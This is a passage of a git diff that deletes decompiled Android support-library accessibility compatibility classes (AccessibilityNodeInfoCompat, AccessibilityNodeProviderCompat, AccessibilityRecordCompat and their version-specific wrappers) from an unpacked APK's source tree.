public static void setLabeledBy(Object obj, View view, int i) { - ((AccessibilityNodeInfo) obj).setLabeledBy(view, i); - } - - public static Object getLabeledBy(Object obj) { - return ((AccessibilityNodeInfo) obj).getLabeledBy(); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/accessibility/AccessibilityNodeInfoCompatJellybeanMr2.java b/apk_3230/decompiled_source/sources/android/support/v4/view/accessibility/AccessibilityNodeInfoCompatJellybeanMr2.java deleted file mode 100644 index b24d4d8..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/accessibility/AccessibilityNodeInfoCompatJellybeanMr2.java +++ /dev/null @@ -1,45 +0,0 @@ -package android.support.v4.view.accessibility; - -import android.view.accessibility.AccessibilityNodeInfo; -import java.util.List; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class AccessibilityNodeInfoCompatJellybeanMr2 { - AccessibilityNodeInfoCompatJellybeanMr2() { - } - - public static void setViewIdResourceName(Object obj, String str) { - ((AccessibilityNodeInfo) obj).setViewIdResourceName(str); - } - - public static String getViewIdResourceName(Object obj) { - return ((AccessibilityNodeInfo) obj).getViewIdResourceName(); - } - - public static List findAccessibilityNodeInfosByViewId(Object obj, String str) { - return ((AccessibilityNodeInfo) obj).findAccessibilityNodeInfosByViewId(str); - } - - public static void setTextSelection(Object obj, int i, int i2) { - ((AccessibilityNodeInfo) obj).setTextSelection(i, i2); - } - - public static int getTextSelectionStart(Object obj) { - return ((AccessibilityNodeInfo) obj).getTextSelectionStart(); - } - - public static int getTextSelectionEnd(Object obj) { - return ((AccessibilityNodeInfo) obj).getTextSelectionEnd(); - } - - public static boolean isEditable(Object obj) { - return ((AccessibilityNodeInfo) obj).isEditable(); - } - - public static void setEditable(Object obj, boolean z) { - ((AccessibilityNodeInfo) obj).setEditable(z); - } - - public static boolean refresh(Object obj) { - return ((AccessibilityNodeInfo) obj).refresh(); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/accessibility/AccessibilityNodeInfoCompatKitKat.java b/apk_3230/decompiled_source/sources/android/support/v4/view/accessibility/AccessibilityNodeInfoCompatKitKat.java deleted file mode 100644 index 5b03243..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/accessibility/AccessibilityNodeInfoCompatKitKat.java +++ /dev/null @@ -1,206 +0,0 @@ -package android.support.v4.view.accessibility; - -import android.os.Bundle; -import android.view.accessibility.AccessibilityNodeInfo; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class AccessibilityNodeInfoCompatKitKat { - private static final String ROLE_DESCRIPTION_KEY = "AccessibilityNodeInfo.roleDescription"; - private static final String TRAITS_KEY = "android.view.accessibility.AccessibilityNodeInfo.traits"; - private static final long TRAIT_HAS_IMAGE = 1; - private static final byte TRAIT_UNSET = -1; - - AccessibilityNodeInfoCompatKitKat() { - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static int getLiveRegion(Object obj) { - return ((AccessibilityNodeInfo) obj).getLiveRegion(); - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static void setLiveRegion(Object obj, int i) { - ((AccessibilityNodeInfo) obj).setLiveRegion(i); - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static Object getCollectionInfo(Object obj) { - return ((AccessibilityNodeInfo) obj).getCollectionInfo(); - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static Object getCollectionItemInfo(Object obj) { - return ((AccessibilityNodeInfo) obj).getCollectionItemInfo(); - } - - public static void setCollectionInfo(Object obj, Object obj2) { - ((AccessibilityNodeInfo) obj).setCollectionInfo((AccessibilityNodeInfo.CollectionInfo) obj2); - } - - public static void setCollectionItemInfo(Object obj, Object obj2) { - ((AccessibilityNodeInfo) obj).setCollectionItemInfo((AccessibilityNodeInfo.CollectionItemInfo) obj2); - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static Object getRangeInfo(Object obj) { - return ((AccessibilityNodeInfo) obj).getRangeInfo(); - } - - public static void setRangeInfo(Object obj, Object obj2) { - ((AccessibilityNodeInfo) obj).setRangeInfo((AccessibilityNodeInfo.RangeInfo) obj2); - } - - public static Object obtainCollectionInfo(int i, int i2, boolean z, int i3) { - return AccessibilityNodeInfo.CollectionInfo.obtain(i, i2, z); - } - - public static Object obtainCollectionInfo(int i, int i2, boolean z) { - return AccessibilityNodeInfo.CollectionInfo.obtain(i, i2, z); - } - - public static Object obtainCollectionItemInfo(int i, int i2, int i3, int i4, boolean z) { - return AccessibilityNodeInfo.CollectionItemInfo.obtain(i, i2, i3, i4, z); - } - - public static void setContentInvalid(Object obj, boolean z) { - ((AccessibilityNodeInfo) obj).setContentInvalid(z); - } - - public static boolean isContentInvalid(Object obj) { - return ((AccessibilityNodeInfo) obj).isContentInvalid(); - } - - public static boolean canOpenPopup(Object obj) { - return ((AccessibilityNodeInfo) obj).canOpenPopup(); - } - - public static void setCanOpenPopup(Object obj, boolean z) { - ((AccessibilityNodeInfo) obj).setCanOpenPopup(z); - } - - public static Bundle getExtras(Object obj) { - return ((AccessibilityNodeInfo) obj).getExtras(); - } - - private static long getTraits(Object obj) { - return getExtras(obj).getLong(TRAITS_KEY, -1L); - } - - private static void setTrait(Object obj, long j) { - Bundle extras = getExtras(obj); - extras.putLong(TRAITS_KEY, j | extras.getLong(TRAITS_KEY, 0L)); - } - - public static int getInputType(Object obj) { - return ((AccessibilityNodeInfo) obj).getInputType(); - } - - public static void setInputType(Object obj, int i) { - ((AccessibilityNodeInfo) obj).setInputType(i); - } - - public static boolean isDismissable(Object obj) { - return ((AccessibilityNodeInfo) obj).isDismissable(); - } - - public static void setDismissable(Object obj, boolean z) { - ((AccessibilityNodeInfo) obj).setDismissable(z); - } - - public static boolean isMultiLine(Object obj) { - return ((AccessibilityNodeInfo) obj).isMultiLine(); - } - - public static void setMultiLine(Object obj, boolean z) { - ((AccessibilityNodeInfo) obj).setMultiLine(z); - } - - public static CharSequence getRoleDescription(Object obj) { - return getExtras(obj).getCharSequence(ROLE_DESCRIPTION_KEY); - } - - public static void setRoleDescription(Object obj, CharSequence charSequence) { - getExtras(obj).putCharSequence(ROLE_DESCRIPTION_KEY, charSequence); - } - - public static Object obtainRangeInfo(int i, float f, float f2, float f3) { - return AccessibilityNodeInfo.RangeInfo.obtain(i, f, f2, f3); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class CollectionInfo { - CollectionInfo() { - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static int getColumnCount(Object obj) { - return ((AccessibilityNodeInfo.CollectionInfo) obj).getColumnCount(); - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static int getRowCount(Object obj) { - return ((AccessibilityNodeInfo.CollectionInfo) obj).getRowCount(); - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static boolean isHierarchical(Object obj) { - return ((AccessibilityNodeInfo.CollectionInfo) obj).isHierarchical(); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class CollectionItemInfo { - CollectionItemInfo() { - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static int getColumnIndex(Object obj) { - return ((AccessibilityNodeInfo.CollectionItemInfo) obj).getColumnIndex(); - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static int getColumnSpan(Object obj) { - return ((AccessibilityNodeInfo.CollectionItemInfo) obj).getColumnSpan(); - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static int getRowIndex(Object obj) { - return ((AccessibilityNodeInfo.CollectionItemInfo) obj).getRowIndex(); - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static int getRowSpan(Object obj) { - return ((AccessibilityNodeInfo.CollectionItemInfo) obj).getRowSpan(); - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static boolean isHeading(Object obj) { - return ((AccessibilityNodeInfo.CollectionItemInfo) obj).isHeading(); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class RangeInfo { - RangeInfo() { - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static float getCurrent(Object obj) { - return ((AccessibilityNodeInfo.RangeInfo) obj).getCurrent(); - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static float getMax(Object obj) { - return ((AccessibilityNodeInfo.RangeInfo) obj).getMax(); - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static float getMin(Object obj) { - return ((AccessibilityNodeInfo.RangeInfo) obj).getMin(); - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static int getType(Object obj) { - return ((AccessibilityNodeInfo.RangeInfo) obj).getType(); - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/accessibility/AccessibilityNodeProviderCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/view/accessibility/AccessibilityNodeProviderCompat.java deleted file mode 100644 index 8b94980..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/accessibility/AccessibilityNodeProviderCompat.java +++ /dev/null @@ -1,144 +0,0 @@ -package android.support.v4.view.accessibility; - -import android.os.Bundle; -import android.support.v4.view.accessibility.AccessibilityNodeProviderCompatJellyBean; -import android.support.v4.view.accessibility.AccessibilityNodeProviderCompatKitKat; -import java.util.ArrayList; -import java.util.List; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public class AccessibilityNodeProviderCompat { - public static final int HOST_VIEW_ID = -1; - private static final AccessibilityNodeProviderImpl IMPL = new AccessibilityNodeProviderKitKatImpl(); - private final Object mProvider; - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - interface AccessibilityNodeProviderImpl { - Object newAccessibilityNodeProviderBridge(AccessibilityNodeProviderCompat accessibilityNodeProviderCompat); - } - - public AccessibilityNodeInfoCompat createAccessibilityNodeInfo(int i) { - return null; - } - - public List findAccessibilityNodeInfosByText(String str, int i) { - return null; - } - - public AccessibilityNodeInfoCompat findFocus(int i) { - return null; - } - - public boolean performAction(int i, int i2, Bundle bundle) { - return false; - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class AccessibilityNodeProviderStubImpl implements AccessibilityNodeProviderImpl { - @Override // android.support.v4.view.accessibility.AccessibilityNodeProviderCompat.AccessibilityNodeProviderImpl - public Object newAccessibilityNodeProviderBridge(AccessibilityNodeProviderCompat accessibilityNodeProviderCompat) { - return null; - } - - AccessibilityNodeProviderStubImpl() { - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - private static class AccessibilityNodeProviderJellyBeanImpl extends AccessibilityNodeProviderStubImpl { - AccessibilityNodeProviderJellyBeanImpl() { - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeProviderCompat.AccessibilityNodeProviderStubImpl, android.support.v4.view.accessibility.AccessibilityNodeProviderCompat.AccessibilityNodeProviderImpl - public Object newAccessibilityNodeProviderBridge(final AccessibilityNodeProviderCompat accessibilityNodeProviderCompat) { - return AccessibilityNodeProviderCompatJellyBean.newAccessibilityNodeProviderBridge(new AccessibilityNodeProviderCompatJellyBean.AccessibilityNodeInfoBridge() { // from class: android.support.v4.view.accessibility.AccessibilityNodeProviderCompat.AccessibilityNodeProviderJellyBeanImpl.1 - @Override // android.support.v4.view.accessibility.AccessibilityNodeProviderCompatJellyBean.AccessibilityNodeInfoBridge - public boolean performAction(int i, int i2, Bundle bundle) { - return accessibilityNodeProviderCompat.performAction(i, i2, bundle); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeProviderCompatJellyBean.AccessibilityNodeInfoBridge - public List findAccessibilityNodeInfosByText(String str, int i) { - List findAccessibilityNodeInfosByText = accessibilityNodeProviderCompat.findAccessibilityNodeInfosByText(str, i); - if (findAccessibilityNodeInfosByText == null) { - return null; - } - ArrayList arrayList = new ArrayList(); - int size = findAccessibilityNodeInfosByText.size(); - for (int i2 = 0; i2 < size; i2++) { - arrayList.add(findAccessibilityNodeInfosByText.get(i2).getInfo()); - } - return arrayList; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeProviderCompatJellyBean.AccessibilityNodeInfoBridge - public Object createAccessibilityNodeInfo(int i) { - AccessibilityNodeInfoCompat createAccessibilityNodeInfo = accessibilityNodeProviderCompat.createAccessibilityNodeInfo(i); - if (createAccessibilityNodeInfo == null) { - return null; - } - return createAccessibilityNodeInfo.getInfo(); - } - }); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - private static class AccessibilityNodeProviderKitKatImpl extends AccessibilityNodeProviderStubImpl { - AccessibilityNodeProviderKitKatImpl() { - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeProviderCompat.AccessibilityNodeProviderStubImpl, android.support.v4.view.accessibility.AccessibilityNodeProviderCompat.AccessibilityNodeProviderImpl - public Object newAccessibilityNodeProviderBridge(final AccessibilityNodeProviderCompat accessibilityNodeProviderCompat) { - return AccessibilityNodeProviderCompatKitKat.newAccessibilityNodeProviderBridge(new AccessibilityNodeProviderCompatKitKat.AccessibilityNodeInfoBridge() { // from class: android.support.v4.view.accessibility.AccessibilityNodeProviderCompat.AccessibilityNodeProviderKitKatImpl.1 - @Override // android.support.v4.view.accessibility.AccessibilityNodeProviderCompatKitKat.AccessibilityNodeInfoBridge - public boolean performAction(int i, int i2, Bundle bundle) { - return accessibilityNodeProviderCompat.performAction(i, i2, bundle); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeProviderCompatKitKat.AccessibilityNodeInfoBridge - public List findAccessibilityNodeInfosByText(String str, int i) { - List findAccessibilityNodeInfosByText = accessibilityNodeProviderCompat.findAccessibilityNodeInfosByText(str, i); - if (findAccessibilityNodeInfosByText == null) { - return null; - } - ArrayList arrayList = new ArrayList(); - int size = findAccessibilityNodeInfosByText.size(); - for (int i2 = 0; i2 < size; i2++) { - arrayList.add(findAccessibilityNodeInfosByText.get(i2).getInfo()); - } - return arrayList; - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeProviderCompatKitKat.AccessibilityNodeInfoBridge - public Object createAccessibilityNodeInfo(int i) { - AccessibilityNodeInfoCompat createAccessibilityNodeInfo = accessibilityNodeProviderCompat.createAccessibilityNodeInfo(i); - if (createAccessibilityNodeInfo == null) { - return null; - } - return createAccessibilityNodeInfo.getInfo(); - } - - @Override // android.support.v4.view.accessibility.AccessibilityNodeProviderCompatKitKat.AccessibilityNodeInfoBridge - public Object findFocus(int i) { - AccessibilityNodeInfoCompat findFocus = accessibilityNodeProviderCompat.findFocus(i); - if (findFocus == null) { - return null; - } - return findFocus.getInfo(); - } - }); - } - } - - public AccessibilityNodeProviderCompat() { - this.mProvider = IMPL.newAccessibilityNodeProviderBridge(this); - } - - public AccessibilityNodeProviderCompat(Object obj) { - this.mProvider = obj; - } - - public Object getProvider() { - return this.mProvider; - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/accessibility/AccessibilityNodeProviderCompatJellyBean.java b/apk_3230/decompiled_source/sources/android/support/v4/view/accessibility/AccessibilityNodeProviderCompatJellyBean.java deleted file mode 100644 index 379a18e..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/accessibility/AccessibilityNodeProviderCompatJellyBean.java +++ /dev/null @@ -1,40 +0,0 @@ -package android.support.v4.view.accessibility; - -import android.os.Bundle; -import android.view.accessibility.AccessibilityNodeInfo; -import android.view.accessibility.AccessibilityNodeProvider; -import java.util.List; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class AccessibilityNodeProviderCompatJellyBean { - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - interface AccessibilityNodeInfoBridge { - Object createAccessibilityNodeInfo(int i); - - List findAccessibilityNodeInfosByText(String str, int i); - - boolean performAction(int i, int i2, Bundle bundle); - } - - AccessibilityNodeProviderCompatJellyBean() { - } - - public static Object newAccessibilityNodeProviderBridge(final AccessibilityNodeInfoBridge accessibilityNodeInfoBridge) { - return new AccessibilityNodeProvider() { // from class: android.support.v4.view.accessibility.AccessibilityNodeProviderCompatJellyBean.1 - @Override // android.view.accessibility.AccessibilityNodeProvider - public AccessibilityNodeInfo createAccessibilityNodeInfo(int i) { - return (AccessibilityNodeInfo) AccessibilityNodeInfoBridge.this.createAccessibilityNodeInfo(i); - } - - @Override // android.view.accessibility.AccessibilityNodeProvider - public List findAccessibilityNodeInfosByText(String str, int i) { - return AccessibilityNodeInfoBridge.this.findAccessibilityNodeInfosByText(str, i); - } - - @Override // android.view.accessibility.AccessibilityNodeProvider - public boolean performAction(int i, int i2, Bundle bundle) { - return AccessibilityNodeInfoBridge.this.performAction(i, i2, bundle); - } - }; - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/accessibility/AccessibilityNodeProviderCompatKitKat.java b/apk_3230/decompiled_source/sources/android/support/v4/view/accessibility/AccessibilityNodeProviderCompatKitKat.java deleted file mode 100644 index 74fa78d..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/accessibility/AccessibilityNodeProviderCompatKitKat.java +++ /dev/null @@ -1,47 +0,0 @@ -package android.support.v4.view.accessibility; - -import android.os.Bundle; -import android.view.accessibility.AccessibilityNodeInfo; -import android.view.accessibility.AccessibilityNodeProvider; -import java.util.List; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class AccessibilityNodeProviderCompatKitKat { - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - interface AccessibilityNodeInfoBridge { - Object createAccessibilityNodeInfo(int i); - - List findAccessibilityNodeInfosByText(String str, int i); - - Object findFocus(int i); - - boolean performAction(int i, int i2, Bundle bundle); - } - - AccessibilityNodeProviderCompatKitKat() { - } - - public static Object newAccessibilityNodeProviderBridge(final AccessibilityNodeInfoBridge accessibilityNodeInfoBridge) { - return new AccessibilityNodeProvider() { // from class: android.support.v4.view.accessibility.AccessibilityNodeProviderCompatKitKat.1 - @Override // android.view.accessibility.AccessibilityNodeProvider - public AccessibilityNodeInfo createAccessibilityNodeInfo(int i) { - return (AccessibilityNodeInfo) AccessibilityNodeInfoBridge.this.createAccessibilityNodeInfo(i); - } - - @Override // android.view.accessibility.AccessibilityNodeProvider - public List findAccessibilityNodeInfosByText(String str, int i) { - return AccessibilityNodeInfoBridge.this.findAccessibilityNodeInfosByText(str, i); - } - - @Override // android.view.accessibility.AccessibilityNodeProvider - public boolean performAction(int i, int i2, Bundle bundle) { - return AccessibilityNodeInfoBridge.this.performAction(i, i2, bundle); - } - - @Override // android.view.accessibility.AccessibilityNodeProvider - public AccessibilityNodeInfo findFocus(int i) { - return (AccessibilityNodeInfo) AccessibilityNodeInfoBridge.this.findFocus(i); - } - }; - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/accessibility/AccessibilityRecordCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/view/accessibility/AccessibilityRecordCompat.java deleted file mode 100644 index 1c31f2c..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/accessibility/AccessibilityRecordCompat.java +++ /dev/null @@ -1,789 +0,0 @@ -package android.support.v4.view.accessibility; - -import android.os.Parcelable; -import android.view.View; -import java.util.Collections; -import java.util.List; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public class AccessibilityRecordCompat { - private static final AccessibilityRecordImpl IMPL = new AccessibilityRecordJellyBeanImpl(); - private final Object mRecord; - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - interface AccessibilityRecordImpl { - int getAddedCount(Object obj); - - CharSequence getBeforeText(Object obj); - - CharSequence getClassName(Object obj); - - CharSequence getContentDescription(Object obj); - - int getCurrentItemIndex(Object obj); - - int getFromIndex(Object obj); - - int getItemCount(Object obj); - - int getMaxScrollX(Object obj); - - int getMaxScrollY(Object obj); - - Parcelable getParcelableData(Object obj); - - int getRemovedCount(Object obj); - - int getScrollX(Object obj); - - int getScrollY(Object obj); - - AccessibilityNodeInfoCompat getSource(Object obj); - - List getText(Object obj); - - int getToIndex(Object obj); - - int getWindowId(Object obj); - - boolean isChecked(Object obj); - - boolean isEnabled(Object obj); - - boolean isFullScreen(Object obj); - - boolean isPassword(Object obj); - - boolean isScrollable(Object obj); - - Object obtain(); - - Object obtain(Object obj); - - void recycle(Object obj); - - void setAddedCount(Object obj, int i); - - void setBeforeText(Object obj, CharSequence charSequence); - - void setChecked(Object obj, boolean z); - - void setClassName(Object obj, CharSequence charSequence); - - void setContentDescription(Object obj, CharSequence charSequence); - - void setCurrentItemIndex(Object obj, int i); - - void setEnabled(Object obj, boolean z); - - void setFromIndex(Object obj, int i); - - void setFullScreen(Object obj, boolean z); - - void setItemCount(Object obj, int i); - - void setMaxScrollX(Object obj, int i); - - void setMaxScrollY(Object obj, int i); - - void setParcelableData(Object obj, Parcelable parcelable); - - void setPassword(Object obj, boolean z); - - void setRemovedCount(Object obj, int i); - - void setScrollX(Object obj, int i); - - void setScrollY(Object obj, int i); - - void setScrollable(Object obj, boolean z); - - void setSource(Object obj, View view); - - void setSource(Object obj, View view, int i); - - void setToIndex(Object obj, int i); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class AccessibilityRecordStubImpl implements AccessibilityRecordImpl { - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public int getAddedCount(Object obj) { - return 0; - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public CharSequence getBeforeText(Object obj) { - return null; - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public CharSequence getClassName(Object obj) { - return null; - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public CharSequence getContentDescription(Object obj) { - return null; - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public int getCurrentItemIndex(Object obj) { - return 0; - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public int getFromIndex(Object obj) { - return 0; - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public int getItemCount(Object obj) { - return 0; - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public int getMaxScrollX(Object obj) { - return 0; - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public int getMaxScrollY(Object obj) { - return 0; - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public Parcelable getParcelableData(Object obj) { - return null; - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public int getRemovedCount(Object obj) { - return 0; - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public int getScrollX(Object obj) { - return 0; - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public int getScrollY(Object obj) { - return 0; - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public AccessibilityNodeInfoCompat getSource(Object obj) { - return null; - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public int getToIndex(Object obj) { - return 0; - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public int getWindowId(Object obj) { - return 0; - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public boolean isChecked(Object obj) { - return false; - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public boolean isEnabled(Object obj) { - return false; - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public boolean isFullScreen(Object obj) { - return false; - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public boolean isPassword(Object obj) { - return false; - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public boolean isScrollable(Object obj) { - return false; - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public Object obtain() { - return null; - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public Object obtain(Object obj) { - return null; - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public void recycle(Object obj) { - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public void setAddedCount(Object obj, int i) { - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public void setBeforeText(Object obj, CharSequence charSequence) { - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public void setChecked(Object obj, boolean z) { - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public void setClassName(Object obj, CharSequence charSequence) { - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public void setContentDescription(Object obj, CharSequence charSequence) { - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public void setCurrentItemIndex(Object obj, int i) { - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public void setEnabled(Object obj, boolean z) { - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public void setFromIndex(Object obj, int i) { - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public void setFullScreen(Object obj, boolean z) { - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public void setItemCount(Object obj, int i) { - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public void setMaxScrollX(Object obj, int i) { - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public void setMaxScrollY(Object obj, int i) { - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public void setParcelableData(Object obj, Parcelable parcelable) { - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public void setPassword(Object obj, boolean z) { - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public void setRemovedCount(Object obj, int i) { - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public void setScrollX(Object obj, int i) { - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public void setScrollY(Object obj, int i) { - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public void setScrollable(Object obj, boolean z) { - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public void setSource(Object obj, View view) { - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public void setSource(Object obj, View view, int i) { - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public void setToIndex(Object obj, int i) { - } - - AccessibilityRecordStubImpl() { - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public List getText(Object obj) { - return Collections.emptyList(); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class AccessibilityRecordIcsImpl extends AccessibilityRecordStubImpl { - AccessibilityRecordIcsImpl() { - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordStubImpl, android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public Object obtain() { - return AccessibilityRecordCompatIcs.obtain(); - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordStubImpl, android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public Object obtain(Object obj) { - return AccessibilityRecordCompatIcs.obtain(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordStubImpl, android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public int getAddedCount(Object obj) { - return AccessibilityRecordCompatIcs.getAddedCount(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordStubImpl, android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public CharSequence getBeforeText(Object obj) { - return AccessibilityRecordCompatIcs.getBeforeText(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordStubImpl, android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public CharSequence getClassName(Object obj) { - return AccessibilityRecordCompatIcs.getClassName(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordStubImpl, android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public CharSequence getContentDescription(Object obj) { - return AccessibilityRecordCompatIcs.getContentDescription(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordStubImpl, android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public int getCurrentItemIndex(Object obj) { - return AccessibilityRecordCompatIcs.getCurrentItemIndex(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordStubImpl, android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public int getFromIndex(Object obj) { - return AccessibilityRecordCompatIcs.getFromIndex(obj); - } - - @Override // android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordStubImpl, android.support.v4.view.accessibility.AccessibilityRecordCompat.AccessibilityRecordImpl - public int getItemCount(Object obj) { - return AccessibilityRecordCompatIcs.getItemCount(obj); - } - - @Override // 